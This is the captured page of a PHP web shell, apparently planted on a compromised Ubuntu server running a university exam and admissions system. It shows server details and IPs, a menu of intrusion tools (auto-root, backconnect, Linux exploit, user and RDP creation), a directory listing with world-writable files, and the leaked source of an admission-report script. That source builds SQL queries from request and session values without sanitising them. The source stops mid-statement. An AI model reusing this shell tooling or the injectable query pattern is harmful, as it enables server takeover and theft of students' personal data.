Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 18.119.253.198
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
oasis /
Report_details /
[ HOME SHELL ]
Name
Size
Permission
Action
output
[ DIR ]
drwxr-xr-x
AttDateWiseReportexcel.php
4.39
KB
-rw-r--r--
Attdet.php
7.1
KB
-rw-rw-r--
AttdetPdf.php
8.74
KB
-rw-rw-r--
AttdetPdfUniclare.php
7.49
KB
-rw-rw-r--
AttdetexcelUniclare.php
5.48
KB
-rw-rw-r--
CIEAttendanceNotEligiblepdf.ph...
6.83
KB
-rw-rw-r--
CIEpendingListpdf.php
9.05
KB
-rw-rw-r--
DegreeWiseStudLstUSN.php
7.69
KB
-rw-rw-r--
DownloadExamAppFormApplication...
10.92
KB
-rwxr-xr-x
DownloadRvRtAckApplications.ph...
4.6
KB
-rwxr-xr-x
Generatecollegeiamarkspendingr...
7.49
KB
-rwxrwxrwx
PrintChallanEntryDetails.php
8.27
KB
-rwxr-xr-x
RVApplicationsReport.php
8.9
KB
-rwxr-xr-x
RvPcListDetailedReport.php
12.51
KB
-rwxrwxrwx
RvRtApplicationReport.php
8.86
KB
-rwxr-xr-x
absentAndMalReportPdf.php
11.5
KB
-rw-rw-r--
absentandmalpracticereport.php
10.16
KB
-rw-rw-r--
ack_exam_app_form_bulk.php
11.76
KB
-rwxr-xr-x
admlist.php
13.87
KB
-rwxrwxrwx
admregisterlist.php
7.39
KB
-rwxr-xr-x
affliation_detailed_report.php
12.56
KB
-rwxrwxrwx
appear_list_center_qp_wise.php
13.07
KB
-rwxr-xr-x
appear_list_qp_wise.php
6.32
KB
-rwxr-xr-x
appfeedetails.php
7.67
KB
-rwxr-xr-x
approval_report.php
19.63
KB
-rwxr-xr-x
attCisshortList.php
15.61
KB
-rw-r--r--
attCisshortList_sjbit.php
12.82
KB
-rw-r--r--
attDegwiseReport.php
14.2
KB
-rw-r--r--
attendanceReportForm.php
5.69
KB
-rw-rw-r--
attendanceform_pdf.php
12.35
KB
-rw-r--r--
attiacombined.php
9.52
KB
-rw-r--r--
attiacombinedReportnewexcel_sj...
12.94
KB
-rw-rw-r--
attiacombinednew.php
12.66
KB
-rw-r--r--
attiacombinednew_1.php
12.34
KB
-rw-r--r--
attiacombinednew_2.php
12.33
KB
-rw-r--r--
attiacombinednew_sjbit.php
8.7
KB
-rw-r--r--
attshortlist.php
10.72
KB
-rw-r--r--
basic_data_coll.php
6.79
KB
-rwxr-xr-x
basic_data_sum.php
6.98
KB
-rwxr-xr-x
batch_wise_details.php
4.45
KB
-rwxr-xr-x
board.php
3.86
KB
-rw-rw-r--
bundle_ack.php
13.58
KB
-rwxr-xr-x
candidatelist.php
10
KB
-rw-rw-r--
categorywisereport.php
13.27
KB
-rwxr-xr-x
categorywisereportpdf.php
7.57
KB
-rw-rw-r--
cntrtagcollstud.php
4.99
KB
-rw-rw-r--
code39.php
6.38
KB
-rwxr-xr-x
college_pending_markslist.php
6.78
KB
-rwxrwxrwx
college_pending_markslist19032...
6.48
KB
-rwxr-xr-x
convoreport.php
5.56
KB
-rw-rw-r--
copomarksexternalreportexcel.p...
7.02
KB
-rw-rw-r--
daterange.php
6.27
KB
-rw-rw-r--
degreeDetailsReport.php
7
KB
-rw-rw-r--
degreewiseMarksEntryStats.php
8.44
KB
-rw-rw-r--
elememntWiseReport.php
16.11
KB
-rw-rw-r--
empty_report_admission_det.php
8.91
KB
-rw-rw-r--
enterCOPOmarks.php
2.94
KB
-rw-rw-r--
exam_attendance_det.php
8.61
KB
-rwxr-xr-x
exam_attendance_summary.php
9.78
KB
-rwxr-xr-x
excelreport.php
27.36
KB
-rw-rw-r--
fpdf.php
147.08
KB
-rw-rw-r--
generate.php
7.32
KB
-rw-rw-r--
generateCorseRep.php
7.93
KB
-rw-r--r--
generateDaliyReportQpNitteExce...
16.34
KB
-rw-rw-r--
generatePostAdmissionTicket.ph...
51.8
KB
-rwxr-xr-x
generatePostAdmissionTicketJss...
58.53
KB
-rwxr-xr-x
generatePostAdmissionTicket_25...
47.13
KB
-rwxr-xr-x
generatePostAdmissionTicket_ol...
37.45
KB
-rwxr-xr-x
generatePrintIaMarks.php
16.19
KB
-rw-rw-r--
generatePrintIaMarksnew.php
16.28
KB
-rw-r--r--
generatePrintIaMarksnewXl.php
13.22
KB
-rw-rw-r--
generateQuestionWiseIAReportPD...
18.73
KB
-rw-rw-r--
generateThValReport.php
7.4
KB
-rw-r--r--
generateXlGraph.php
3.87
KB
-rw-rw-r--
generateadmissionreg.php
11.81
KB
-rw-r--r--
generatecoporeport_xl.php
21.08
KB
-rw-rw-r--
gerderwiseresultsheet.php
12.08
KB
-rwxr-xr-x
getDegree.php
2.27
KB
-rw-rw-r--
getDegreeAndSem.php
4.32
KB
-rw-r--r--
getIaSubjWiseReport.php
0
B
-rw-rw-r--
getNitteAdmXlreport.php
14.74
KB
-rw-rw-r--
getReportClassStud.php
6.03
KB
-rw-rw-r--
getTestTotalMarksReport.php
9.49
KB
-rw-rw-r--
getiaabsentreport.php
6.8
KB
-rw-r--r--
gradewisesubjectanalysisreport...
24.66
KB
-rw-r--r--
gradewisesubjectanalysisreport...
20.73
KB
-rw-r--r--
headerNfooter.php
4.89
KB
-rw-rw-r--
iaDegwiseIAReport.php
12.58
KB
-rw-rw-r--
iaMarksQnWiseReportExcel.php
25.41
KB
-rw-rw-r--
iaMarksReportPDF.php
10.84
KB
-rw-r--r--
iaSubjectWiseReport.php
10.74
KB
-rw-rw-r--
ia_room_allotment_datewise.php
9.08
KB
-rwxr-xr-x
iaemptyformat.php
9.63
KB
-rwxr-xr-x
iaroomallotmantsummary.php
5.28
KB
-rwxr-xr-x
iasectionwisenew.php
36.02
KB
-rw-rw-r--
invig_report.php
10.18
KB
-rw-rw-r--
invig_report_summary.php
7.74
KB
-rw-rw-r--
latEntryRprt.php
6.4
KB
-rwxr-xr-x
markListReportPdf.php
21.32
KB
-rw-rw-r--
markListReportPdfnew.php
49.6
KB
-rw-r--r--
markListReportPdfnew_24112023....
42.93
KB
-rw-r--r--
marksEntryQnWiseNewReport.php
13.13
KB
-rw-rw-r--
marksentryquestionwise.php
23.83
KB
-rw-rw-r--
mregistry.php
152.75
KB
-rw-rw-r--
pdfacknowledgeAppNo.php
10.95
KB
-rw-rw-r--
pendingcie.php
0
B
-rw-rw-r--
photo_report.php
7.04
KB
-rw-rw-r--
pi_test.php
3.45
KB
-rw-r--r--
picharttesting.php
24.78
KB
-rw-rw-r--
prbillreports.php
16.32
KB
-rw-rw-r--
principalFreeze_report.php
7.23
KB
-rw-rw-r--
printIaMarks.php
12.74
KB
-rw-r--r--
printIaMarks_old.php
12.74
KB
-rw-rw-r--
printMarkListDetailsWisenew.ph...
10.1
KB
-rw-r--r--
printMarkListDetailsWisenewExc...
15.52
KB
-rw-rw-r--
printMarkListDetailsWisenew_CI...
3.98
KB
-rw-r--r--
printMarkListDetailsWisenew_sj...
15.69
KB
-rw-r--r--
printMarkListDetailsWisenew_sj...
14.54
KB
-rw-r--r--
printMarkListSubWiseJssstu.php
28.4
KB
-rw-rw-r--
print_applications_ru.php
26.59
KB
-rw-rw-r--
progDegwiseReportPdf.php
14.15
KB
-rw-rw-r--
provisionExcelReportSrun.php
12.73
KB
-rw-rw-r--
qp_issue.php
8.47
KB
-rwxr-xr-x
qrcodeGeneratePostAdmissionTic...
56.9
KB
-rwxr-xr-x
qrcodeGeneratePostAdmissionTic...
33.16
KB
-rwxr-xr-x
qrhallticket.php
56.1
KB
-rw-rw-r--
r
9.23
KB
-rwxr-xr-x
regNoAllot.php
35.56
KB
-rw-rw-r--
reg_stud_list.php
8.65
KB
-rwxr-xr-x
reportAttClassCreate.php
5.14
KB
-rw-rw-r--
reportAttCount.php
12.89
KB
-rw-r--r--
reportAttCount_old_08112022.ph...
11.11
KB
-rw-r--r--
report_Xl_getpendingstudentLis...
7.93
KB
-rw-rw-r--
report_adm_lat_studwise.php
10.13
KB
-rwxr-xr-x
report_admission_details.php
26.8
KB
-rwxr-xr-x
report_admission_list.php
49.63
KB
-rwxr-xr-x
report_admission_list_bf_gcg.p...
26.39
KB
-rwxr-xr-x
report_admission_list_kswu.php
15.12
KB
-rwxr-xr-x
report_admission_list_rur.php
28
KB
-rw-rw-r--
report_admission_list_wop.php
10.31
KB
-rwxr-xr-x
report_admission_ticket.php
77.87
KB
-rw-rw-r--
report_admission_ticket_bf_uuc...
37.63
KB
-rwxr-xr-x
report_admission_ticket_jsstu....
70.16
KB
-rw-r--r--
report_admission_ticket_new.ph...
65.79
KB
-rw-rw-r--
report_attendance_sheet.php
23.77
KB
-rwxr-xr-x
report_attendance_shortage.php
9.23
KB
-rw-rw-r--
report_attendance_summary.php
11.48
KB
-rwxr-xr-x
report_attendance_summary_old....
7.19
KB
-rwxr-xr-x
report_bacth_preparation_dairy...
7
KB
-rwxr-xr-x
report_batch_practical_dairy.p...
15.35
KB
-rwxr-xr-x
report_batch_wise_details.php
8.86
KB
-rwxr-xr-x
report_batch_worksheet_details...
20.02
KB
-rwxr-xr-x
report_bulk_applications.php
26.15
KB
-rwxr-xr-x
report_bulk_applications_nitte...
26
KB
-rw-rw-r--
report_bundle_dispatch.php
15.36
KB
-rwxr-xr-x
report_candidate_list.php
31.41
KB
-rwxr-xr-x
report_candidate_list_old.php
29.91
KB
-rwxr-xr-x
report_copoMarksList.php
23.88
KB
-rw-rw-r--
report_daliy_report.php
10.47
KB
-rwxr-xr-x
report_daliy_report_qp.php
10.21
KB
-rwxr-xr-x
report_daliy_report_qp_nitte.p...
20.31
KB
-rwxr-xr-x
report_daliy_report_qp_sjbit.p...
17.49
KB
-rwxr-xr-x
report_data_sent.php
8.41
KB
-rwxr-xr-x
report_degree_list.php
4.71
KB
-rwxr-xr-x
report_deviation_report.php
7.67
KB
-rwxr-xr-x
report_evaluation_report.php
9.31
KB
-rwxr-xr-x
report_ia_ra_invigilator_dairy...
20.87
KB
-rwxr-xr-x
report_ia_ra_roomwise_register...
27.06
KB
-rw-r--r--
report_iamarks_pending.php
8.19
KB
-rwxr-xr-x
report_invigilatorDairy.php
46.77
KB
-rw-rw-r--
report_marks_deviation_report....
5.38
KB
-rwxr-xr-x
report_marks_elementwise.php
3.13
KB
-rwxr-xr-x
report_marks_entry_student_lis...
6.55
KB
-rwxr-xr-x
report_marks_entry_subwise_lis...
21.94
KB
-rwxr-xr-x
report_marks_entry_subwise_lis...
10.43
KB
-rwxr-xr-x
report_marks_pending.php
12.02
KB
-rwxr-xr-x
report_online_eam.php
11.59
KB
-rwxr-xr-x
report_practical_marks_details...
13.35
KB
-rwxr-xr-x
report_practical_marks_details...
23.65
KB
-rwxr-xr-x
report_practical_marks_details...
13.33
KB
-rwxr-xr-x
report_practical_marks_details...
13.32
KB
-rwxr-xr-x
report_practical_misc.php
8.24
KB
-rwxr-xr-x
report_qpcount_univ.php
5.17
KB
-rwxr-xr-x
report_ra_exl_report.php
6.89
KB
-rwxr-xr-x
report_ra_invigilator_dairy.ph...
46.94
KB
-rwxr-xr-x
report_ra_invigilator_dairy_bf...
22.69
KB
-rwxr-xr-x
report_ra_invigilator_dairy_gu...
19.86
KB
-rwxr-xr-x
report_ra_invigilator_dairy_ne...
49.39
KB
-rwxr-xr-x
report_ra_invigilator_dairy_sj...
32.35
KB
-rwxr-xr-x
report_ra_invigilator_dairy_st...
19.82
KB
-rw-rw-r--
report_ra_invigilators_dairy.p...
9.27
KB
-rwxr-xr-x
report_ra_qp_wise_student_coun...
10.97
KB
-rwxr-xr-x
report_ra_qp_wise_student_coun...
8.74
KB
-rwxr-xr-x
report_ra_qp_wise_student_coun...
11.21
KB
-rwxr-xr-x
report_ra_roomwise_register_no...
10.67
KB
-rwxr-xr-x
report_ra_roomwise_register_no...
26.44
KB
-rwxr-xr-x
report_ra_roomwise_register_no...
27.15
KB
-rwxr-xr-x
report_ra_roomwise_register_no...
17.6
KB
-rwxr-xr-x
report_reg_list.php
33.33
KB
-rw-rw-r--
report_reg_list_gcg.php
33.55
KB
-rw-rw-r--
report_reg_list_gcg_new_040120...
33.12
KB
-rw-rw-r--
report_registerNoListNoticeBoa...
25.84
KB
-rw-rw-r--
report_registerNoListRoomBoard...
22.08
KB
-rw-rw-r--
report_revaluation.php
6.42
KB
-rwxr-xr-x
report_roomallotmentExcel.php
8.31
KB
-rw-rw-r--
report_subject_admcl_list.php
3.68
KB
-rwxr-xr-x
report_subject_general_list.ph...
4.89
KB
-rwxr-xr-x
resultsheet.php
12.82
KB
-rwxr-xr-x
resultsheetExcel.php
6.37
KB
-rw-r--r--
resultsheet_x.php
9.15
KB
-rwxr-xr-x
resultsheetsubwise.php
11.24
KB
-rwxr-xr-x
revaluation.php
15.65
KB
-rwxr-xr-x
roomAllotment.php
37.45
KB
-rw-rw-r--
room_allotment_datewise_stph.p...
21.46
KB
-rwxr-xr-x
roomallotmantsummary.php
6.66
KB
-rwxr-xr-x
roomallotmantsummarynew.php
7.09
KB
-rwxr-xr-x
roomallotmantsummarysubjwise.p...
9.26
KB
-rw-rw-r--
roomallotmantsummarysubjwisene...
9.89
KB
-rw-r--r--
roomallotmentqpwise.php
10.22
KB
-rw-rw-r--
roomwise_register_nos_list.php
27.87
KB
-rwxr-xr-x
roomwise_register_nos_list_new...
29.38
KB
-rwxr-xr-x
rotation.php
596
B
-rwxr-xr-x
semesterWiseResultReportpdf.ph...
11.03
KB
-rw-rw-r--
shortageReport.php
11.05
KB
-rw-rw-r--
std_regstr_det_reprt_xl.php
7.6
KB
-rw-rw-r--
stringspliter.php
718
B
-rwxr-xr-x
stud_wise_report.php
8.97
KB
-rw-rw-r--
studentHisResult.php
8.34
KB
-rw-r--r--
student_count.php
4.16
KB
-rwxr-xr-x
studentwiseresult.php
18.02
KB
-rw-rw-r--
studentwiseresultExcelReport.p...
10.29
KB
-rw-rw-r--
subWiseFailedStudExcelReport.p...
9.02
KB
-rw-rw-r--
subWiseFailedStudSummary.php
7.78
KB
-rw-rw-r--
subjRegReport.php
8.42
KB
-rw-r--r--
subjectDetailsReport.php
13.93
KB
-rw-rw-r--
subject_wise_student_list.php
6.2
KB
-rwxr-xr-x
subjwisepasspercentage.php
10.99
KB
-rw-rw-r--
subjwisepasspercentagePie.php
10.92
KB
-rw-r--r--
subjwiseressheet.php
12.92
KB
-rwxr-xr-x
subwiseGrafAnalysis.php
20.04
KB
-rw-r--r--
subwiseGrafAnalysis1.php
22.44
KB
-rw-r--r--
subwiseResultReport.php
12.75
KB
-rw-rw-r--
tatkal.php
4.84
KB
-rwxr-xr-x
teachFreeze_report.php
8.96
KB
-rw-r--r--
teacher_report.php
11.26
KB
-rwxr-xr-x
teacher_val_report.php
10.59
KB
-rwxr-xr-x
timetabledegreewiserpt.php
6.73
KB
-rwxrwxrwx
topsheet.php
8.59
KB
-rwxr-xr-x
verifystud.php
8.38
KB
-rwxr-xr-x
viewexamcentrenew.php
20.7
KB
-rw-rw-r--
xl_AckAppReport.php
10.02
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : report_admission_list.php
<?php require_once("/var/www/html/aws/aws-autoloader.php"); use Aws\S3\S3Client; use Aws\S3\Exception\S3Exception; function generateAdmissionReport($aobj_context) { session_start(); $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $college_code = $_SESSION['collcode']; //echo $college_code; $degree_code = $aobj_context->mobj_data["degree_code"]; $sub_degree_code = $aobj_context->mobj_data["sub_degree_code"]; $exam_no = $aobj_context->mobj_data["exam_no"]; $appto = $aobj_context->mobj_data["appto"]; $appfrom = $aobj_context->mobj_data["appfrom"]; $status = $aobj_context->mobj_data["status"]; $db = $aobj_context->mobj_data["db"]; $lateral_entry = $aobj_context->mobj_data["lateral_entry"]; $exam_no = empty($exam_no) ? "A" : $exam_no; if (empty($lateral_entry)) { $exam_no = 'A'; $lateral_entry_cond = " and ifnull(s.FLATERAL_ENTRY,0)='0' "; } else { $exam_no = 'C'; $lateral_entry_cond = " and ifnull(s.FLATERAL_ENTRY,0)='1' "; } $main_src_obj = (explode("/", $_SERVER["REQUEST_URI"])); $main_src = $main_src_obj[1]; $pdf_writer_class = $aobj_context->main_src . "/maya-pdf/fpdf.php"; // var_dump($pdf_writer_class); $tarkaheader = $aobj_context->main_src . "/Report_details/tarkaheader.php"; $root_pdf_file_download = $aobj_context->main_src . "/Report_details/output/report_admission_list.pdf"; // global varibales $p_count = 1; // end global varibales include($pdf_writer_class); $pdf = new FPDF('L'); //$pdf->$title='20000 Leagues Under the Seas'; $pdf->SetFont('Times', '', 10); $pdf->SetMargins(10, 12,0,0); $pdf->AliasNbPages(); $sub_degree_cond = ""; if (!empty($sub_degree_code)) { $sub_degree_cond = " and s.FSUBDEGREE='{$sub_degree_code}'"; $page_header_sub_degree = "select concat('[',FDEGREE,'] - ', FDESCPN) as sub_degree_name, FADYEAR from degree where FDEGREE = '{$sub_degree_code}' and FEXAMNO='{$exam_no}' "; $lobj_page_header_sub_degree = $aobj_context->mobj_db->GetRow($page_header_sub_degree); } //print_r($lobj_page_header_sub_degree); die(); /* $degree_cond=" "; if(strtolower($exam_no)=='c') $degree_cond=" s.FSUBDEGREE='{$degree_code}' "; */ // query for the page header $page_header_university = "select FUNIVNAME,FTOWN,funivcode, date_format(now(),'%d/%m/%Y') as date from control"; $lobj_page_header_university = $aobj_context->mobj_db->GetRow($page_header_university); $page_header_college = "select concat('[',FCOLLCODE,'] ',FCOLLNAME,', ',FTOWN) as college_name from college where FCOLLCODE='{$college_code}'"; $lobj_page_header_college = $aobj_context->mobj_db->GetRow($page_header_college); $page_header_degree = "select concat('[',FDEGREE,'] - ', FDESCPN,', ',FEXAMNAME) as Degree_name, FADYEAR as FADYEAR from degree where FDEGREE = '{$degree_code}' and FEXAMNO='A' "; $lobj_page_header_degree = $aobj_context->mobj_db->GetRow($page_header_degree); //echo $page_header_degree; die(); $pdf->aobj_context = $aobj_context; $pdf->WhichReport = 'Admission'; $pdf->FUNIVNAME = $lobj_page_header_university['FUNIVNAME']; $pdf->FTOWN = $lobj_page_header_university['FTOWN']; $pdf->db = $db; $pdf->date_time = $lobj_page_header_university['date']; $pdf->funivcode = $lobj_page_header_university['funivcode']; $pdf->college_name = $lobj_page_header_college['college_name']; $pdf->Degree_name = $lobj_page_header_degree['Degree_name']; $pdf->sub_degree_code = $lobj_page_header_sub_degree['sub_degree_name']; $pdf->AdmissionYear = $lobj_page_header_degree['FADYEAR']; $canddettmp = "canddet"; $candsumttmp = "candsum"; $degreetmp = "degree"; $subjecttmp = "subject"; //echo $pdf->sub_degree_code; die(); //end header $pdf->AddPage(); PrintFooter($pdf); //$pdf->Ln(); $pdf->SetFont('Times', '', 10); //and sub.FDEGREE=op.FDEGREE $get_student_data = " select concat(if(ifNULL(s.FDELETED, 'F')='F', s.FAPPNO, concat('*',s.FAPPNO))) as FAPPNO, LEFT(s.FNAME,50) as FNAME, LEFT(s.FFATNAME,40) as FFATNAME,ifnull(s.FAREGNO,'') as FAREGNO, LEFT(s.FMOTNAME,40) as FMOTNAME, LEFT(s.FNAME,50) as SNAME, group_concat(distinct right(concat(space(4),sub.FSUBCODE),4) order by sub.FSUBCODE separator ',' ) as SCode, if(s.FGENDER='F','Female','Male') as Gender, group_concat(distinct right(concat(space(4),sub.FSUBSHORT),4) order by sub.FSUBCODE separator ',' ) as SShort, Date_Format(s.FDOB,'%d/%m/%Y') as DOB, concat('Father : ',s.FFATNAME) as Father ,s.FCASTE as CASTE, concat('Mother : ',s.FMOTNAME) as Mother, concat(group_concat(distinct FHEADCODE, '~',FAMOUNT order by FHEADCODE separator '->')) as FHEADCODE, concat(group_concat(distinct FAMOUNT order by FHEADCODE separator '->')) as FAMOUNT , s.FTOTFEE, Date_Format(s.FPAYDATE,'%d/%m/%Y') as FPAYDATE, s.FPAYTYPE,s.FREMARKS,s.FPAYID, s.fcaste as FQUOTA, FPH, DATE_FORMAT(s.FADMDATE,'%d/%m/%Y') as FADMDATE, DATE_FORMAT(s.FACKDATE,'%d/%m/%Y') as FACKDATE, FQPERCENTAGE, s.FCOMBCODE,s.FCONTACT_NO, s.FTYPEQUALEXAM,s.FUNIVNAME,s.FAPPRSTATUS, FREMARKS,ifnull(s.FPHOTOPATH,'') as photo_path from studadm s inner join options op on s.FAPPNO=op.FAPPNO and s.FDEGREE=op.FDEGREE and s.FCOLLCODE=op.FCOLLCODE inner join {$subjecttmp} sub on sub.FSUBCODE=op.FSUBCODE left join admfeedetl adm on adm.FDEGREE=s.FDEGREE and adm.FEXAMNO=s.FEXAMNO and adm.FAPPNO=s.FAPPNO and adm.FCOLLCODE=s.FCOLLCODE where s.FDEGREE='{$degree_code}' {$sub_degree_cond} and if(ifnull(s.FSUBDEGREE,'')='',s.FDEGREE,s.FSUBDEGREE)=sub.FDEGREE and s.FCOLLCODE='{$college_code}' and sub.FEXAMNO='{$exam_no}'and sub.FEXAMNO=op.FEXAMNO and s.fpaystatus='SUCCESS' and s.FAPPSTATUS='verified' group by s.FCOLLCODE,s.FDEGREE,s.FAPPNO order by s.FCOLLCODE,s.FDEGREE,s.FNAME,s.FAPPNO"; if($pdf->funivcode =='033') { $get_student_data = "select concat(if(ifNULL(s.FDELETED, 'F')='F', s.FAPPNO, concat('*',s.FAPPNO))) as FAPPNO, LEFT(s.FNAME,50) as FNAME, LEFT(s.FFATNAME,40) as FFATNAME,ifnull(s.FAREGNO,'') as FAREGNO, LEFT(s.FMOTNAME,40) as FMOTNAME, LEFT(s.FNAME,50) as SNAME, group_concat(distinct right(concat(space(4),sub.FSUBCODE),4) order by sub.FSUBCODE separator ',' ) as SCode, if(s.FGENDER='F','Female','Male') as Gender, group_concat(distinct right(concat(space(4),sub.FSUBSHORT),4) order by sub.FSUBCODE separator ',' ) as SShort, Date_Format(s.FDOB,'%d/%m/%Y') as DOB, concat('Father : ',s.FFATNAME) as Father ,s.FCASTE as CASTE, concat('Mother : ',s.FMOTNAME) as Mother, concat(group_concat(distinct FHEADCODE, '~',FAMOUNT order by FHEADCODE separator '->')) as FHEADCODE, concat(group_concat(distinct FAMOUNT order by FHEADCODE separator '->')) as FAMOUNT , s.FTOTFEE, Date_Format(s.fpaymentdate,'%d/%m/%Y') as FPAYDATE, 'Razorpay' as FPAYTYPE,s.FREMARKS, s.fpaymenttranid as FPAYID, s.FSUBCASTE as FQUOTA, FHANDICAP as FPH, DATE_FORMAT(s.fpaymentdate,'%d/%m/%Y') as FADMDATE, DATE_FORMAT(s.fpaymentdate,'%d/%m/%Y') as FACKDATE, FPREVPERCENT as FQPERCENTAGE, s.FCOMBCODE,s.FCONTACT_NO, s.FBASICQAL as FTYPEQUALEXAM, s.FPREVCOLLEGE as FUNIVNAME,s.FAPPRSTATUS, FREMARKS,ifnull(s.FPHOTOPATH,'') as photo_path from studadm s inner join options op on s.FAPPNO=op.FAPPNO and s.FDEGREE=op.FDEGREE and s.FCOLLCODE=op.FCOLLCODE inner join {$subjecttmp} sub on sub.FSUBCODE=op.FSUBCODE left join admfeedetl adm on adm.FDEGREE=s.FDEGREE and adm.FEXAMNO=s.FEXAMNO and adm.FCOLLCODE=s.FCOLLCODE where s.FDEGREE='{$degree_code}' and if(ifnull(s.FSUBDEGREE,'')='',s.FDEGREE,s.FSUBDEGREE)=sub.FDEGREE and s.FCOLLCODE='{$college_code}' and sub.FEXAMNO='{$exam_no}' and sub.FEXAMNO=op.FEXAMNO and s.fpaymentstatus='SUCCESS' and s.FAPPRSTATUS='APPROVED' group by s.FCOLLCODE,s.FDEGREE,s.FAPPNO order by s.FCOLLCODE,s.FDEGREE,s.FNAME,s.FAPPNO"; }else if($pdf->funivcode =='050' || $pdf->funivcode =='051') { $get_student_data = "select concat(if(ifNULL(s.FDELETED, 'F')='F', s.FSLNO, concat('*',s.FSLNO))) as SLNO, s.fappno, LEFT(s.FNAME,50) as FNAME, LEFT(s.FFATNAME,40) as FFATNAME, if(ifnull(s.FAPPRSTATUS,'') = 'APPROVED',ifnull(s.FAREGNO,''),'') as FAREGNO, ifnull(s.FAPPRSTATUS,'') as FAPPRSTATUS, LEFT(s.FMOTNAME,40) as FMOTNAME, LEFT(s.FNAME,50) as SNAME, group_concat(distinct right(concat(space(4),sub.FSUBCODE),4) order by sub.FSUBCODE separator ',' ) as SCode, group_concat(distinct right(concat(space(4),sub.FSUBSHORT),4) order by sub.FSUBCODE separator ',' ) as SShort, ifnull(s.fgender,'') as Gender, Date_Format(s.FDOB,'%d/%m/%Y') as DOB, concat('Father : ',s.FFATNAME) as Father ,s.fcatecode as CASTE, concat('Mother : ',s.FMOTNAME) as Mother, '' as REG_FEE, '' as FINE, fqual as FTYPEQUALEXAM, fcaste as FQUOTA, fstudmob as FCONTACT_NO, if(s.FPHOTOPATH = '','-',ifnull(s.FPHOTOPATH,'-')) as photo_path, '' as FTOTFEE, left(fqual,20) as FQUALIFY, left(s.fboard,40) as FBOARDRUNIV, DATE_FORMAT(s.FADMDATE,'%d/%m/%Y') as FADMDATE, '' as FQPERCENTAGE, s.FCOMBCODE from studadm s left join options op on s.fappno=op.fappno and s.FDEGREE=op.FDEGREE and s.FCOLLCODE=op.FCOLLCODE left join subject sub on sub.FSUBCODE=op.FSUBCODE and sub.fdegree = op.fdegree and sub.FEXAMNO='A' where s.FDEGREE='{$degree_code}' and s.FCOLLCODE='{$college_code}' and ifnull(s.fappno,'') <> '' and ifnull(s.fdeleted,'') <> 'T' group by s.FCOLLCODE,s.FDEGREE,s.fappno order by s.FCOLLCODE,s.FDEGREE,s.faregno,s.fappno"; } else { $get_student_data = "select concat(if(ifNULL(s.FDELETED, 'F')='F', s.FSLNO, concat('*',s.FSLNO))) as SLNO,s.fappno, LEFT(s.FNAME,50) as FNAME, LEFT(s.FFATNAME,40) as FFATNAME,ifnull(s.FAREGNO,'') as FAREGNO, ifnull(s.FAPPRSTATUS,'') as FAPPRSTATUS, LEFT(s.FMOTNAME,40) as FMOTNAME, LEFT(s.FNAME,50) as SNAME, group_concat(distinct right(concat(space(4),sub.FSUBCODE),4) order by sub.FSUBCODE separator ',' ) as SCode, group_concat(distinct right(concat(space(4),sub.FSUBSHORT),4) order by sub.FSUBCODE separator ',' ) as SShort, if(ifnull(s.fgender,'') = 'M','Male',if(ifnull(s.fgender,'') = 'F','Female','Transgender')) as FSEX, Date_Format(s.FDOB,'%d/%m/%Y') as DOB, concat('Father : ',s.FFATNAME) as Father ,s.FCASTE as CASTE, concat('Mother : ',s.FMOTNAME) as Mother, s.FUNIVFEE as REG_FEE, s.FADMFINE as FINE,ifnull(s.FPHOTOPATH,'') as photo_path, s.FTOTFEE, left(FTYPEQUALEXAM,20) as FQUALIFY, left(mb.FBOARDNAME,40) as FBOARDRUNIV, DATE_FORMAT(s.FADMDATE,'%d/%m/%Y') as FADMDATE, FQPERCENTAGE, s.FCOMBCODE from studadm s inner join options op on s.FSLNO=op.FSLNO and s.FDEGREE=op.FDEGREE and s.FCOLLCODE=op.FCOLLCODE inner join {$subjecttmp} sub on sub.FSUBCODE=op.FSUBCODE left join admfeedetl adm on adm.FDEGREE=s.FDEGREE and adm.FEXAMNO=s.FEXAMNO and adm.FSLNO=s.FSLNO and adm.FCOLLCODE=s.FCOLLCODE left join masboard mb on s.FUNIVNAME = mb.FBOARDCODE where s.FDEGREE='{$degree_code}' and if(ifnull(s.FSUBDEGREE,'')='',s.FDEGREE,s.FSUBDEGREE)=sub.FDEGREE and s.FCOLLCODE='{$college_code}' and sub.FEXAMNO='{$exam_no}'and sub.FEXAMNO=op.FEXAMNO and ifnull(s.fappno,'') <> '' and s.fappno between '{$appfrom}' and '{$appto}' group by s.FCOLLCODE,s.FDEGREE,s.FSLNO order by s.FSLNO"; //var_dump($get_student_data); } // var_dump($get_student_data);die(); $lobj_student_data = $aobj_context->mobj_db->GetAll($get_student_data); $arr_w = array(10, 65, 70, 108); $arr_h = array(); $adm_ln_counter = 0; $arr_w = array(9, 25, 80, 35, 73, 10, 20, 44, 12, 18, 17); $arr_h = array(5, 5.8); $adno = 1; //var_dump($lobj_student_data);die(); foreach ($lobj_student_data as $key => $value) { $get_year = "SELECT FADYEAR FROM {$degreetmp} WHERE FDEGREE='{$degree_code}' AND FEXAMNO='{$exam_no}'"; $lobj_get_year = $aobj_context->mobj_db->getRow($get_year); $year = $lobj_get_year['FADYEAR']; $get_details = "select fheadcode as HEAD_CODE, famount as FEES_PAID from admfeedetl where fyear='$year' and fdegree='$degree_code' and fexamno='$exam_no' and fcollcode='$college_code' and FAPPNO='$value[FAPPNO]'"; // $get_details="select a.FHEADCODE, FFEE, ifnull(FAMOUNT ,FFEE) as fee_paid, b.FAMOUNT as famountdetl from // (SELECT FHEADCODE,FFEE, // FCOMBCODE,FCATCODE // FROM admfeestr // WHERE FYEAR='{$year}' // AND FDEGREE='{$degree_code}' // AND FEXAMNO='{$exam_no}' // AND FCOMBCODE='{$value[FCOMBCODE]}' // AND FCATCODE='{$value[CASTE]}')a // left join // ( // SELECT FHEADCODE,FAMOUNT // FROM admfeedetl // where FYEAR='{$year}' // AND FDEGREE='{$degree_code}' // AND FEXAMNO='{$exam_no}' // AND FCOLLCODE='{$college_code}' // AND FAPPNO='{$value[APPNO]}' // ) b // on a.FHEADCODE=b.FHEADCODE"; $lobj_rs = 